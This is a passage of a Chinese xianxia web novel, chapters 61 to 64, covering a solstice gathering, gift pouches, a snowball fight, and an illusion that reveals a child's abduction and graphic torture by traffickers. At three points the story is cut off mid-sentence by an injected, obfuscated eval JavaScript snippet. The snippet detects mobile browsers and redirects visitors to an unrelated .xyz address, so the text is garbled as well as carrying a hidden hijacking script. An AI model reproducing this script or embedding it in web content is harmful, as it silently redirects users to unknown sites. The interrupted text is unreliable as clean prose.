陆云笺笑道:“这听起来倒是真的,伯父伯母的感情是真的很好,连名字都很有缘分呢。” 贺江年却嘟囔道:“不是缘分,他俩自己取的。他们……他们是在山中修行了几十年的世外高人,无名无姓无家世,修行腻了,就下山看看,但总得有个名字吧,然后他们就挑了两个顺眼的姓氏,一个贺一个云……我娘……我娘说,求个方便,她就叫‘云鹤’好了,听起来就很世外高人。我爹就说……‘行,那我就叫贺昀’。都是……随便取的。” 季瑶看不得他胡说八道,欲起身去煮一壶醒酒汤,却被陆云笺扯住了衣袖。 陆云笺道:“等等,我有东西要给你们。”她原想晚些再给,但看大家都有了些醉意,估计待不了多久,就都得回去休息了,只得提前把东西拿出来。 四只精致小巧的锦囊,锦囊布料上佳,触感柔滑,外头裹着一层轻柔鲛纱,如云雾流逸。 陆云笺道:“我知道你们什么都不缺,找寻了很久,也想不到有什么适合送给你们的,但我还是很想留下一点痕迹,证明我也曾与你们一同走过一段岁月。 “柳娘的刺绣手艺最是好,看来看去,还是觉得比较拿得出手的也就只剩这个了,里头也没什么太值钱的东西,就是一些灵草香料,还有一些灵石,可以稳固灵力、温养身体的。 “很简单的锦囊而已,没什么特别的,只是我研究了一下怎么把香料和灵石的效用延长,放个几十年,味道也不会散掉。 “你们把它随便放在哪里就好了,我只是希望,如果有一天我不在了,万一你们需要我……或许会有一点点作用。就算我马上就消失,往后的几十年,我也会和你们一起。” 其实陆云笺并不觉得他们会需要她,也没觉得如果她死了,他们会伤心,会怅然,会怀念。 他们都是要做大事的人,振兴宗门,降妖除魔,匡扶正义,她只能也只会是他们生命中一个微不足道的小角色,同样地,这个时空的陆云笺回来,想必也不会把这段一同走过的岁月看得有多重。 她只是奢望,在这个时空,能留下一点痕迹,在以后几年,还能被再度想起。 不管多幼稚,多可笑,她只想将这奢望尽数道出,从此就算灰飞烟灭魂飞魄散,也不会再留遗憾。 众人只觉得她这番话有些奇怪,但惊讶已经盖过了其他情绪,因此也没有去揣摩。唯有裴世听她如此说,抬眼望她,眼中神情莫测,手不自知地将那锦囊捏紧,上面绣的皎皎白梅都似要被捻碎。 他的目光太直接,毫不掩饰也毫不收敛,陆云笺自然是注意到了,但她没有转头,说完这些话后,也只是重新坐下,将碗中的米酒一饮而尽。 米酒不太容易让人有醉意,陆云笺却觉得脑子有些糊涂了。 季瑶最先反应过来,当即将那锦囊佩在了腰间,上头孔雀羽绣的兰草在暖光灯光下熠熠生辉,比灯盏比月光都更为耀眼。她道:“云笺,你的心意我们自然都懂,也绝不会忘记。这锦囊很好,多谢你。” 季衡也道:“多谢。” 他们二人不擅说温言软语,因此只有寥寥几句,但陆云笺看着他们,不知是不是被灯光晃住了眼睛,眼眶竟有些湿了。 贺江年还没有清醒,他攥着锦囊,嘟哝道:“这个花……不是,这个蝴蝶真好看,云笺你真厉害,我……我肯定天天把它佩在身上,不,我要把它供起来,每天都……”每天都什么,他没有说完,攥着锦囊的手未松,人却已经趴在桌上睡过去了。 蝴蝶在灯光之下,流光溢彩,栩栩如生。 裴世坐得离他比较近,因此在灯光映照之下,看得很是清楚,看来看去,却总觉得有哪里不对劲。 再去看季瑶的幽兰,季衡的修竹,都与这蝴蝶一样,针脚细密流畅,栩栩如生,似随风而动,如与光同辉,鲛纱轻柔,如云雾流于兰草碧竹间,极尽优美生动。 而他的白梅锦囊,虽也是一样的上好料子,手艺却远不如其余三人的锦囊,虽说不细看看不出来,可仔细观察,却觉得这上头的线条、针脚与色彩,哪个都比不上其余三人的。 他看久了,便愈发觉得自己的差了一大截,甚至觉得他们的是巧夺天工,唯有自己的是又笨拙又生涩,根本不可同日而语。 他将那锦囊攥得愈发紧了。 ……陆云笺是跟他有仇吗?犯得着特意挑一个最丑的给他? 仔细想想,似乎还真有点说不清道不明的仇,不禁更加气闷。 他盯着被贺江年紧紧攥着的锦囊,无不恶毒地想:迟早把你们的都震碎了给她扔回去。 可那锦囊溢彩流光甚是晃眼,那鲛纱轻薄却让他透不过气,这屋子里的每一分光与热,都在嘲笑他,讥讽他。 这头裴世几乎头晕目眩头昏脑涨胸闷气短,那头陆云笺浑然不觉,摆出了今晚最后一样事物—— 是一道糕点,做成了九瓣莲花的模样,是他们几人为了季衡的生辰,特意做的糕点。九瓣莲花中央是一支雕绘了祝寿图的蜡烛,陆云笺将它点燃,映得莲瓣上的糖霜愈发晶莹。 她道:“我听说很远的地方有一个国度,那里的人们过生辰的时候会在糕点上插上蜡烛,心中许愿,再一口气将蜡烛吹灭,就能心愿成真。” 季衡道:“既已经放灯许愿,何须如此?想必这费了不少工夫,倒占用了你们太多时间。” 陆云笺笑道:“我们下次再聚在一起,也不知道要什么时候了。没准一个愿望多许几次,成真的可能性就更大呢?”她没有说的是,她的确也是怀有私心的—— 不出意外的话,这应当是他们最后一次聚在一起为某个人过生辰,她恨不得将所有能用作庆祝的活动都堆在这一天举行,在她还在的时候。 她也想看季衡再吹一次蜡烛,就像在现代时,所有的灯熄灭,她闭上眼睛,这一回,趁着他们没有注意,蜡烛熄灭,她亦会做好离去的准备。 季衡推脱不过,依言闭上眼睛,他闭眼良久,才猛地睁开,眸中甚至有些茫然无措。 陆云笺以为是他许好了愿,起身将糕点切好分给众人,将季衡的那一盘端给他时,却发现他不知何时一手支着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230013|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头,又闭上了眼睛,似乎是睡了过去。 陆云笺轻唤几声,却怎么都唤不醒。 季瑶道:“云笺,兄长自少时生了一场大病之后便有嗜睡之症,劳累激动时都易如此,难以唤醒,还请谅解。” 陆云笺点头:“现在也挺晚了,确实也到休息的时候了。” 还清醒着的几人等着云鹤与贺昀提热好的酒回来,众人似乎都有了倦意,之后便聊得不再那样热火朝天,只偶尔说一两句,到最后夜间岑寂,虫鸣显得愈发聒噪,醉意与倦意席卷,便都散了休息。 裴世心中郁结,一直没有说话。 如此热闹场合,他一贯也是不怎么开口的,因此陆云笺并没有注意到他的异样,直到最后人走了半天了,陆云笺喝了些醒酒汤,勉强自浑浑噩噩的醉意中脱身,这才发现裴世不见了。帮着收拾完桌子,见他房里灯还亮着,陆云笺犹豫再三,还是敲响了他的房门。 裴世原本不想理她,但陆云笺似乎也没有要离开的意思,就那样一直敲,从一开始的轻柔礼貌,发展为后来粗暴地捶门。陆云笺到底还是有些喝糊涂了,大有他不开门就把他房门捶烂的架势。 裴世终于忍无可忍,一把拉开门,陆云笺始料未及,险些扑了他满怀,好在踉跄几步,还是扶住门框勉强站稳了。 她说:“晚上好,裴世,我有话跟你说。” 裴世冷笑道:“这便巧了,我也有话想与陆小姐说。” 陆云笺摸进房里坐下,很客气地道:“那你先说吧。” 裴世一反常态地也很谦让:“还是陆小姐先。” “你先。” “陆小姐先。” “说你先就是你先。” 最后裴世忍不住,冷冷开口:“你为何非要挑一只那样的锦囊给我?” “多谢这些日子你的照拂。” 两句话却是同时出口的,两人的茫然也在同一时刻明晃晃地摆在了脸上。 陆云笺蹙着眉,道:“哪样?我觉得白梅花挺适合你的,就绣了白梅花。前些日子我学会了简单的传送阵,就偶尔回到眉阳村,求柳娘教我绣锦囊。我虽然会绣,但是绣得不太好,而且孔雀羽鲛纱什么的……都太难绣了,我怕拿不出手,就拜托柳娘帮我绣。但是绣到后面,时间好像不太够,因为我还是想在冬至这一天送给你们,似乎要合适一点,不会太突兀。然后柳娘说,碰巧还剩了白梅花那个没开始绣,既是我要感谢你,就该由我亲手来绣,显得更有诚意。” 陆云笺不太清醒,因此一时半会儿没反应过来裴世是什么意思,只一股脑把事情原委说了,留裴世愣在原地,仿佛被一道惊雷劈了个外焦里嫩。 他没意识到自己开口了,问:“……感谢我?” 陆云笺却在此时觉过味儿来了,她的眉头蹙得更深了:“什么叫我‘非要挑一只那样的锦囊给你’?”她喃喃地重复几遍,终于恍然大悟,“你嫌它丑?” 裴世不自觉地倒退几步,捂住自己的衣襟,试图将放在里头的锦囊捂好了藏住了千万不要教陆云笺发现:“……不是。没有。” “……” “我的意思是……” 没等他编完,陆云笺果然倏地起身,伸出手:“那你还我。” “……你都送出来了,还能再要回去?” “要回来怎么了。”陆云笺瞪着他,“你都嫌弃它了,难不成还要我求你说‘裴公子你行行好,这个锦囊我绣了好久好久的,就算它丑,也请您不要嫌弃,不要丢掉它’?” 她咬着牙,一字一顿地道:“少发癫了。” 62. 梦牢笼 陆云笺一步一步向裴世走去,态度很坚决,脚步却因醉意有些许不稳。 裴世兀自立在原地,看着陆云笺步步逼近,没有进也没有退,先前的咄咄逼人早已尽数灰飞烟灭,独剩茫然无措。 他静了很久,还是不知该说什么,只觉得不能再什么都不说,正欲开口时,陆云笺却忽地被脚下不平的木板绊得一个趔趄,而后双腿一软,径直往地上倒去。 裴世立刻回过神来,上前扶住了她,他唤了几声,陆云笺却仿佛突然昏死过去似的,怎么唤都唤不醒。 他不自知地微微松了一口气,却又有一瞬怅然。不过他自然希望陆云笺醉得再彻底一些,最好明日起来什么都不记得,还如往常一样。 裴世将陆云笺送回她的房间,路过院子时,抬头尚能看见远处点点璨璨金光,那是他们方才放飞的孔明灯。他在院中立了良久,直到那些星星点点的光都尽数消失,才回了房间。 第二日又下起了大雪,几人住了两天,便又开始赶路。 走完最后一程,算来便该到年末,四处的修真门派与崇山峻岭也都能探查个遍,镜阳宗派给季衡、季瑶的任务便能完成,贺江年经此历练也能出师,成为独当一面的仙君。 因此再踏入纷飞大雪中时,便不再觉得那样辛苦,反倒多了几分期冀。 陆云笺前一日虽然醉得有些神智不清,后来又不知为何被一瞬剧痛夺去了意识,但第二日睡够了醒来,脑子还是清醒的,没有混乱,更没有忘记任何事,因此她没有与裴世走在一起,而是走在季瑶身旁,和她一同牵着在雪地里艰难行走的燕燕。 燕燕的伤虽已好了不少,却因骨骼被强行缩小而行走不便,在雪地里留下一深一浅、歪歪扭扭的脚印。陆云笺看看燕燕浅淡的发色与瞳眸,轻轻叹了口气,收回目光。 好在燕燕如今已不再那样怕人,刻骨的创伤或许终能缓慢愈合,或许终能恢复如初—— 燕燕手上捏着一小块麻糖,眼里含着笑,正聚精会神地听季瑶讲民间妖魔神鬼的故事。几人都不会讲什么故事,便是讲了,也尽是些仙门百家的事,小姑娘不愿意听,而季瑶是几人之中行走民间最多的,只有她讲起民间故事时,燕燕才会有点兴趣。 雪积了一层,虽然并不大妨碍行走,但众人都心照不宣地走得很慢。故事讲完一轮,燕燕终于有些累了,肯让季瑶把她抱起来走。 陆云笺突发奇想,落后了几步,从地上抓了一把雪,捏紧了压实了,扫视一圈,寻找一个适合攻击的倒霉蛋。季瑶和燕燕不能砸,季衡……也不能,贺江年凑在季瑶身旁叽叽喳喳甚是烦人,不如就…… 如此想着,眼睛却不由自主地瞥向了另一边,与众人都保持着一段距离的黑衣身影,在茫茫雪天中,甚是碍眼,甚是…… 甚是什么,陆云笺没有想完。她原本一点儿也不想搭理裴世,奈何手比脑子快,脑子还没转过来,手腕已经转了过去,尽了最大的力气把雪球掷了出去。 不过这个雪球捏得很是客气,她最初并没有想把谁砸得倒地不起,因此雪球小,也并不十分紧实,砸中那个黑色身影,一瞬便碎成了细细雪块,簌簌落下。 那个身影一顿,片刻之后才缓缓回过头来,而陆云笺早已钻进了人堆,试图掩盖方才的行径。 过了好一会儿,裴世似乎并无动作,反倒让陆云笺有些许疑惑,正欲趁人不注意回头看一看,却忽觉腰上一重,仿佛被巨石砸中。 巨大的冲击力下,陆云笺“啪”的一声,脸朝下埋在了雪地里,唯余几声怒骂:“裴世!你不要脸!你用灵力!玩儿阴的!!” 留裴世愣在原地,茫然地看着自己的手。他捏的那个雪球,分明也还算客气,力道应当也不是太大,更没有用灵力,怎么…… 不等他想明白,陆云笺已经以迅雷不及掩耳之势爬了起来,抓了一大把雪,气势汹汹地冲过来,就要往他脸上扔。 可她走得太急了些,雪地毕竟有些滑,于是便这样不凑巧地,在裴世面前滑了一跤,慌乱之中抓住了他的腰带,才堪堪没有摔倒。 攻击倒是到位了,裴世的确被陆云笺抓来的那把雪扑了满脸,腰带与衣摆似乎也在猛力拉扯下,发出了不堪重负的嘶嘶声。 好在裴世站得还算稳,没连带着两人一起摔个四脚朝天。他终于缓过神来,忙把陆云笺拉起,道:“我……” 可再抬眼时,却发现周遭的景象不知何时已经变了。裴世当即恢复了肃然神情,陆云笺见他如此,赶忙回头去看—— 原本他们应当是走在其余几人后头,前方茫茫雪原,一望无际。 可此时二人前方再无其他,唯余一段青石台阶,那台阶很是整洁,似乎常有人打扫,抬眼望去百余阶,通往层云深处,端的是风摇幡动、云涌阶倾。 陆云笺蹙眉道:“这什么东西?幻境?” 裴世抓紧了她的手,扫视一圈,道:“应当是。” 陆云笺道:“季衡哥他们呢?没进这个幻境?” 裴世道:“不知道,但既然这幻境只留了这一条路,这么想让我们上去,那便去看看吧。” 二人相携一步步走上台阶,走至尽头,拨开云雾,才终于看清了这尽头的景象—— 碧瓦飞甍连绵不尽,雕梁画栋探出层云。梵音袅袅,暮鼓悠悠,大殿两侧金墨各书四大字,每个字约莫半人高,写的是“灵光永耀,福佑千秋”,抬头去望匾额,却被流云遮得严实,不知是到了何处。 步入大殿,四处壁画所绘是二十诸天,壮丽恢弘。漫天神佛,尽为金身,端坐高台。或慈眉善目,或怒目而视,或闭目冥思,俯瞰众生,宝相庄严。 还不待二人看清诸佛,景象便又渐渐淡去,四周忽地陷入一片黑暗,先前的珠光宝相,仿佛只是片刻幻觉。 不知等了多久,周遭黑暗中,忽地传来一个声音,并非如神佛那般庄重威严,却无限渺远,也无甚感情:“来者何人?” 无人应答。 那声音没有追问,而是静默片刻,而后似乎是笑了一声,道:“云间世的陆小姐。好久不见。”这声音在无尽黑暗中显得无限旷远,仿佛自四面八方飘来的淡淡烟雾,仿若无形,却又无处不在,教人无所遁形。 陆云笺抓紧了裴世的手,道:“你是谁?” “陆小姐不会认得我,我却记得陆小姐。两年前你曾来此求问,难道不记得了么?” 陆云笺自然是不记得的。可她不知道这人是谁、又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233371|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算做什么,便也不打算多问。 那声音也不再继续这个话题,而是道:“我看过陆小姐的过往,倒是很有意思,不过我今日并不打算叙旧。好些年了,似乎又来了一位新朋友?”见无人回答,他自顾自地笑道,“这位新朋友,可是心中烦闷无从疏解,或是茫然不知所措,因此前来求问?” 裴世终于冷冷开口:“阁下何人?” 那声音就此沉默,不再出声。 不知过了多久,二人前方渐渐亮起一抹微光,一名白衣男子自黑暗中行来,是个温和良善的青年人相貌,肤色瓷白,白衣曳地,衣摆垂落在黑暗中,自下而上蔓延出一片暗红,与上方雪白衣襟相比,极为突兀。 他的发丝与眼睫尽皆雪白,在无边黑暗中,如同皎皎明月,周身笼着盈盈光芒,无端朦胧,又无端耀眼。 白衣男子微笑道:“就算见到我,你们又识得我吗?我说我的名字叫十六,你们又听说过吗?” 裴世道:“既引我们来此处,若是有事,那便不要多话。” 白衣男子道:“不是我引你们来的,我可没那么大能耐。不过既是相见了,那便是有缘。陆小姐是我旧识,但这位仙君却不曾相识,不如让我测一测你的生辰八字?” 裴世冷笑道:“测了生辰八字,好施以巫蛊之术?” 白衣男子道:“我虽不会什么巫蛊之术,却也有一绝活,就是替人算命。仙君想不想看看,此一生,最终落于何处?”他说着轻轻抬手,金色光芒自他掌中跃起,一一排成文字符号,汇成书卷,自他指尖游过。 他指尖一点,落在某处,还不及看清,那串金光便连同书卷一起,忽地化作点点星芒逸散开来。 白衣男子并无意外,他自璨璨星芒中抬眼,不紧不慢地道:“仙君没有生辰八字?” “……” “仙君莫不是从石头缝里蹦出来的,竟不是人生肉长成?” 裴世没有说话,陆云笺却猛地一颤,忽地想起一事—— 之前为破宋承泽布下的黑龙幻境,他们曾托妄尘还原死者生前所见景象。那时妄尘拦住他们二人,是言陆云笺魂魄不稳,而裴世…… 妄尘也说,裴世并非人生肉长成。倘使自己魂魄不稳是因为两个时空交错以及魂魄分裂所致,那裴世又是为何…… 裴世自然也察觉到了陆云笺这一颤,他虽看起来仍是风轻云淡,却也有一瞬茫然、一瞬慌乱。 直到白衣男子说出下一句,那几分心慌才就此止住,变作一潭死水,什么情绪都不再有,唯余死水之下的幽黑,往下千尺万尺,都只有黑暗带来的恐惧与迷惘。 “还是说,仙君本不该存于人世,是这世间,多出来的人呢?”他说完这句,白色身影便迅速淡去,仿佛深潭中的倒影猛地被击碎,皎月碎在潭中,渐渐被吞噬、被掩盖。 而后,另一抹光亮出现了。 自黑暗中,走来另一个人。 是一个五六岁的小孩,穿着缝补多次的粗布麻衣,裤腿卷得很高,满脸满手满脚的泥,似乎刚从泥地里跋涉而来。抬起头,是一张无限天真稚气的清秀的脸,与满脸的污泥毫不相符。 正是陆云笺曾在药铺子里见过的,小时候的裴世。 63. 魇中渊 此处幻境中的幻影看不见他们,那个矮小的孩子似乎要去做什么事,脚步很急,片刻都没有停顿。 幻境中的景象随着他的脚步缓缓延展开来,渐趋完整。原本伸手不见十指的黑暗中渐渐晕开一片又一片光亮,村庄,田地,天空,都渐渐现出了形状。 阴云连绵,似乎要下雨了。 一块碎石砸在他的脚踝上,迫使他的脚步停下来。 一个约莫七八岁的男孩自画面之外走进来,他的身形足有小裴世的两倍大,端的是膀大腰圆、虎背熊腰,身后跟着几个瘦小孩童,端的一派趋炎附势之徒独有的耀武扬威,正抛着手中的石子玩儿。 “要下雨啦,赶着回去收谷子吗?不用收啦——” 陆云笺看这阵仗,完全能猜到接下来会发生什么,她抬眼看向那个被围在中央、脸色苍白的小孩儿,看他握紧拳头,又是愤怒,又是无力。 然而小胖子还没将话说完,一团耀眼金光便从那群小孩中间炸开,而后陆云笺忽地被身旁的裴世猛力一拉,被他带着拔腿就跑。 刚才那一团金光是他放的,炸的却是站在中央的他自己,而不是四周任何一个向他步步逼近的孩童。可幻境并没有因此消失,那并不是打破这个幻境的突破口。 裴世拉着她直朝着远处的黑暗奔去,仿佛后头逐渐亮起的光亮是洪水猛兽,缓一步便要被它吞没,断骨剥筋,身死魂消。他躲避着光亮,仿佛前方犹如深渊的黑暗才是他的栖身之所,什么都看不见,才能得到片刻慰藉。 陆云笺平生第一次见他手足无措,见他慌不择路、拔腿便逃。她原以为这样一个素来喜欢强行破开幻境的人,无论在幻境中遇到什么,即便是死,也绝不可能会逃。 可光亮毕竟无处不在,盼它来时它不曾垂怜,畏惧它时它却顷刻将人包裹,逃脱不得,躲藏不得,抵抗不得。 陆云笺被裴世拉着朝前跑,身旁风声呼啸,晃过无数似虚幻又似真实的景象—— 她看见年幼的裴世被村中孩童讥笑,说他与他爹娘一点儿也不像,想是不知谁生的野种。夜晚他走在河边,晚风寒凉,他拾起河边尖锐的碎石,一下一下划烂自己的脸,划得血肉模糊,面目几不可辨。血水自他苍白的脸上蜿蜒而下,宛如狰狞的恶鬼。 她看见先前那个小胖子将裴世家储存的一小袋米尽数倒入了河中,米粒顺着河流渐渐奔远,再也捞不回来。裴世引了野狗去咬他,小胖子捧着断掉的小指痛哭,声嘶力竭。 她看见断掉小指的小胖子带着爹娘去寻裴世的麻烦,却撞上了高逾一丈的火墙,里头有哭喊,有嘶吼,有尖叫,又肆意屠杀的扭曲鬼影,唯独不见有活人破开火墙奔出。于是小胖子屁滚尿流地跑了,想找麻烦的对象都死在了大火里头,哪个都再找不见。 这个画面逐渐延伸至二人的正前方,挡住了他们的去路。 这些幻影并不能挡住他们,原本他们可以毫不费力地穿过去,可裴世却像是脱了力,停在了这片巨大的影像前,仿佛十几年前的高逾一丈的火墙烧到了眼前,越不过,碰不得。 陆云笺曾在梦里见过的那只长了几百年、足有丈余高的鬼魈,此时又出现在了她眼前。 那鬼魈一挥掌,狂风呼啸,巨木连根拔起,房屋倒塌破碎,碎木飞沙直扑二人面门。狂风不止,鬼魈却忽地停下了动作,它几乎是有些轻缓而小心地,自碎石底下轻轻提起了一样事物—— 那是先前躲在橱柜里头,尚且年幼、全无灵力的裴世。 狂风在这一刻忽地止息,鬼魈缓缓直起身,将提着的孩童送到自己眼前,暴突双目转动两下,而后不想再耽误片刻,欲把指尖那微不足道的孩童捏碎。 就在此时,一道金光自半空中劈斩而来,生生削断了鬼魈提着裴世的那只爪。 一个白色身影自空中疾掠而下,从断爪之间将裴世抱了出来,护在怀中,飞身立在一旁的巨石之上。那白衣道人手中并未持有武器,唯有手中璨璨金光宛如九霄雷霆,呲呲爆出灵光,一时亮至白炽。 鬼魈生性狡猾暴虐,修炼了数百年的老东西更是变化多端,待白衣道人在巨石上立稳时,它竟已不见了踪影。 白衣道人衣袍猎猎,目光在破碎的村庄山林中扫了一圈,而后抬手,猛地将手中金光砸向半空! 鬼魈现了原形,身形却极快,被金光击中的一瞬便猛地将白衣道人所立巨石炸了个粉碎。 白衣道人向后疾掠,避开碎石,手中仍牢牢地将裴世护在怀里。 趁白衣道人躲闪之际,鬼魈猛地掠至他面前,尖利指爪猛地一刺,生生刺穿了白衣道人的臂膀,趁他手中脱力,猛地擒过裴世,疾速朝远处掠去。 白衣道人迅速在臂上点过两处止血,而后几步追上,瞧见鬼魈的影子的一瞬便猛地放出金光。金光自鬼魈所处之处炸开,鬼魈吃痛怒吼,声振林樾,指爪脱力,擒住的孩童便自半空落下。 鬼魈猛地回身,一掌击上,白衣道人抬手化去攻势,裴世却已落入了湍急河流中,不见了踪影。 画面就此渐渐淡去,陆云笺以为此处幻影已经结束,正欲继续往前走时,前方画面却又陡然亮起,仿佛谁睁开了双目,外头景象忽地涌入,从最初的模糊,到逐渐清晰。 画面中的裴世仍然年幼,粗布麻衣,满身血污,似乎是接续了上一段画面,他自鬼魈指爪之下死里逃生,不知到了何处。 小裴世缓缓转过头,入目是箩筐、干柴、稻草,诸如此类,似乎是一间柴房。 尚未及他看清,头发便被猛地一拽,连带着他整个人都被提了起来,头皮自然是疼的,可他没力气喊,最初连对痛的感知都不那么清晰。 他勉力抬眼,正对上一张干瘦的脸。 画面之外的陆云笺微微一惊。 那正是拐卖孩童制作金羽骨高价售卖的死鱼眼,只是此时的他尚且年轻,瘦是瘦了点,却不似他们见过的那般要死不活。不过他身旁的人倒不是瘦麻秆,而是一个虎背熊腰、一脸横肉的刀疤脸。 但画面里年幼的裴世显然不曾见过什么死鱼眼瘦麻秆。 死鱼眼显得很激动,上下打量小裴世几眼,眼中迸溅出兴奋的光彩:“瞧,莫不是捡着真货了。这小兔崽子的骨头还真是金色,怎么会有金色的骨头?” 刀疤脸哼了一声,夺过小裴世,扒开他肩上撕裂的血肉瞧了一眼:“什么金色的骨头。他骨头是白的,就是会发金光而已。可惜头发是黑的,长得是还行,但不像,不能充真货卖,不然几百万金都不怕没人买。” 死鱼眼道:“嗨,白头发也不是不能整出来,但就冲他骨头会发光这一条,也够我们好好说道说道了。” 刀疤脸道:“成。事不宜迟,刚好过段时间德昌行有个拍卖会,看能不能卖个好价钱,不行再上黑市转转。你烧水,我去拿东西。” 死鱼眼“哎”了一声,手脚麻利得很,将柴房里头放着的灵石灵草都一股脑塞进架着的大锅里。 铁锅余热未消,灵石又放得足,只一会儿锅里的水便沸腾了。灵丹药草在沸水中沉沉浮浮,飘来浓郁得几近刺鼻的药草气味。 小裴世被那刺鼻药草味熏得清醒了几分,睁开眼,猛地对上死鱼眼靠得极近的一张脸。 他本能地想要后退,却被一把擒住,逃脱不能,滚烫的药汁自他肩膀浇下,他本能地惨叫哀嚎,在声嘶力竭中,他的意识渐渐清晰,面前的死鱼眼却只死死摁住他,那神情几乎是陶醉的,什么尖叫哀嚎都不能唤醒他。 灵丹药草熬煮成沸水,烫去皮肉。 这个阶段是最为面目全非的,尽管死鱼眼和刀疤脸为了不影响金羽骨的成色而没有烫他的脸。那张脸惨白如纸、血污纵横,只勉强可辨从前清秀的面容。 长出新的皮肉需要一段时间,这也就意味着,这样血肉模糊的模样还要持续一段时间。 即便是死鱼眼和刀疤脸这样见多了的人也十分厌恶,奈何穿刺琵琶骨的最佳时机就是新的皮肉长出之前,他们再怎么恶心,也不会和钱过不去。 刀疤脸力气大,手法熟,穿琵琶骨这事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240734|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿就由他来做,死鱼眼在旁边端着盆打下手。 到了这个阶段,便是痛得想要惨叫哀嚎也是不可能的了。 在烫去皮肉时也会顺手将嗓子烫坏,这会子喉间的血肉黏在一块儿,稍微一动都能吐出一片血,因此他们费了好大的工夫才阻止被毁去声嗓的孩童发声,以免血吐多了,一不小心就死了。 但在这样撕肉开刀、叮叮当当锤骨头的场面,一片死寂比尖声惨叫更骇人,因此死鱼眼虽恶心,但还是找了个话题:“可惜了,这小子也有个十一二岁了,缩小骨架也小不到那种程度,笼子不好关,不知道还有没有人愿意要。” “那有什么。”刀疤脸熟门熟路地将砸下来的碎骨头扔到一边,“买回去又不是只能关在笼子里好看。人修仙的,花样可比你能想的多了去了,就是买回去炖汤,那也香啊。” 死鱼眼没忍住,差点吐一地。 刀疤脸笑道:“富贵险中求,你连这么点恶心都受不了,还赚什么大钱?你既认我做师傅,就得跟着我练。怎么样,要不要来试试?” 死鱼眼连连摆手:“要不该师傅您老人家赚大钱呢。我真不行,太……” 刀疤脸却抬手拍了拍小裴世的脸,打断了他的话:“这小子怎么一动不动的?死了吗?不是还有气?” 死鱼眼瞧了一眼,迅速收回目光,他实在受不了这血淋淋的场面:“刚不是还想喊来着?不能就死了吧?” 刀疤脸道:“可别是装死耍花招。” 这实在是一句玩笑话,都到了这地步,没人有心思装死,也没人能耍得动花招。 死鱼眼像是被逗笑了:“哪儿能呢。要不我再去拿点药?这小子品相还是难得,可别随随便便就死了。” 刀疤脸抬起一只手挥了挥,让他去了。 种完羽翼后需要将皮肉再缝合起来,刀疤脸见伏在案上那孩童几乎奄奄一息,而死鱼眼还没回来,便有些烦躁,想着干脆自己找点药来算了,然而手触上门,却是无论如何也推不开。 柴房的木门简陋而破旧,原本轻轻一推便能打开,力道重了还怕它坏,此时却仿佛千钧巨石,如何推都纹丝不动,怎么砸都全无破损。 刀疤脸又去推唯一一扇窗,那窗户却也如铁打的一般,坚固无比。 刀疤脸终于后知后觉地恐惧起来,他浑身肌肉鼓胀、青筋暴突,奋力锤砸着木门,门上凸出的木刺刺得他双拳鲜血淋漓,他在痛楚中终于回神片刻,察觉到了不远处呲呲的爆裂声响,以及逐渐旺盛直至炫目的金色光芒。 案上的孩童不知何时已经醒来,他的发色与瞳色在改造之下都变得极淡,在阴暗的柴屋中散发出淡淡辉光。然而他浑身鲜血,一双渐趋淡金色的瞳眸抬起,死死盯住刀疤脸,仿佛寻仇索命的厉鬼。 刀疤脸不自觉地打了个寒噤,上前几步,终是顿住,又倒退几步,脊背抵上了簌簌落灰的墙。 刀疤脸的喉咙仿佛也被滚水烫坏了,发不出半点声音,眼前也阵阵发黑,待到恢复清明时,才发现案上的孩子早便不见了,唯有一阵又一阵热浪扑上来,新加在锅炉里的一批灵石先前还没来得及燃烧,此时烈火旺盛,烧得他眼前一片猩红。 死鱼眼好容易从外头将木门打开,见着的便是一片猩红火海,热浪扑来,燎着他端药的手,霎时便烧去了一片皮肉。 刀疤脸早已骨头渣都不剩,木门一开,整座木屋便腾地烧起来,死鱼眼跌坐在屋外,片刻后才反应过来,拔腿便跑。 后头大火一路蔓延,直烧至半空,所经之处,寸草不生。 裴世从柴房的窗户翻出来,浑身早已没了半点力气,只知道逃,尽管逃与不逃都不会有生路,但他仍下意识地逃。新的皮肉还未长出,在石子路、青草地上拖出长长血痕,他避开人群密集处,奋力爬到一条小河边。 此时阳光正好,只是晒得他浑身火辣辣地疼。他没力气再逃,挑了个阴凉之处,阖上了眼睛。 半梦半醒间,他感到一双微凉的手将自己抱了起来,就此没了意识。 64. 垂神光 裴世醒来时不知已经过了多久,初时神智尚不清晰,双目被白纱覆住,双手也触碰不到任何东西,只知道自己似乎是躺在榻上,四壁微凉,似乎是一间石室。 他静静靠在榻上,没有发出声音。 不知过了多久,石门轰隆洞开,一个温润嗓音响起:“你醒了。” 